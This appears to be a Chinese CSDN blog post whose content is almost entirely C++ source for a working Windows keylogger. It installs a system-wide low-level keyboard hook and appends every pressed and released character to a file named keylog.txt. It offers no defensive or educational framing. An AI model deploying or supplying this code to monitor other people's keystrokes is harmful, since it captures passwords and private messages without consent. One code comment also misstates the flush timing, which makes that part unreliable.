记录键盘按键信息到文本

最新推荐文章于 2024-10-17 20:36:47 发布

XXYBMOOO

最新推荐文章于 2024-10-17 20:36:47 发布

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文章标签：计算机外设 c++ 算法

本文链接：https://blog.csdn.net/xxybmooo/article/details/134931997

版权

#include <iostream>
#include <fstream>
#include <Windows.h>

// 全局变量
std::ofstream outputFile;

// 键盘钩子回调函数
LRESULT CALLBACK KeyboardHookCallback(int nCode, WPARAM wParam, LPARAM lParam) {
    static int counter = 0;

    if (nCode == HC_ACTION) {
        KBDLLHOOKSTRUCT* pKeyboardHookStruct = (KBDLLHOOKSTRUCT*)lParam;
        DWORD vkCode = pKeyboardHookStruct->vkCode;
        DWORD flags = pKeyboardHookStruct->flags;

        // 检查按键是否被按下或释放
        if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && !(flags & 0x0100)) {
            char character[2] = { 0 };

            // 获取键盘状态
            BYTE keyState[256];
            GetKeyboardState(keyState);

            // 转换虚拟键码为字符表示
            if (ToAscii(vkCode, pKeyboardHookStruct->scanCode, keyState, (WORD*)character, 0) > 0) {
                // 将按键信息写入文件
                outputFile << "按下: " << character << std::endl;
            }
        }
        else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && !(flags & 0x0100)) {
            char character[2] = { 0 };

            // 获取键盘状态
            BYTE keyState[256];
            GetKeyboardState(keyState);

            // 转换虚拟键码为字符表示
            if (ToAscii(vkCode, pKeyboardHookStruct->scanCode, keyState, (WORD*)character, 0) > 0) {
                // 将按键信息写入文件
                outputFile << "释放: " << character << std::endl;
            }
        }
    }

    counter++;

    // 每秒存储一次按键信息
    if (counter >= 1000) {
        outputFile.flush();
        counter = 0;
    }

    // 调用下一个钩子
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int main() {
    // 打开输出文件
    outputFile.open("keylog.txt", std::ios::app);

    // 获取当前模块句柄
    HINSTANCE hInstance = GetModuleHandle(NULL);

    // 安装键盘钩子
    HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHookCallback, hInstance, 0);

    // 消息循环
    MSG message;
    while (GetMessage(&message, NULL, 0, 0)) {
        TranslateMessage(&message);
        DispatchMessage(&message);
    }

    // 卸载键盘钩子
    UnhookWindowsHookEx(keyboardHook);

    // 关闭输出文件
    outputFile.close();

    return 0;
}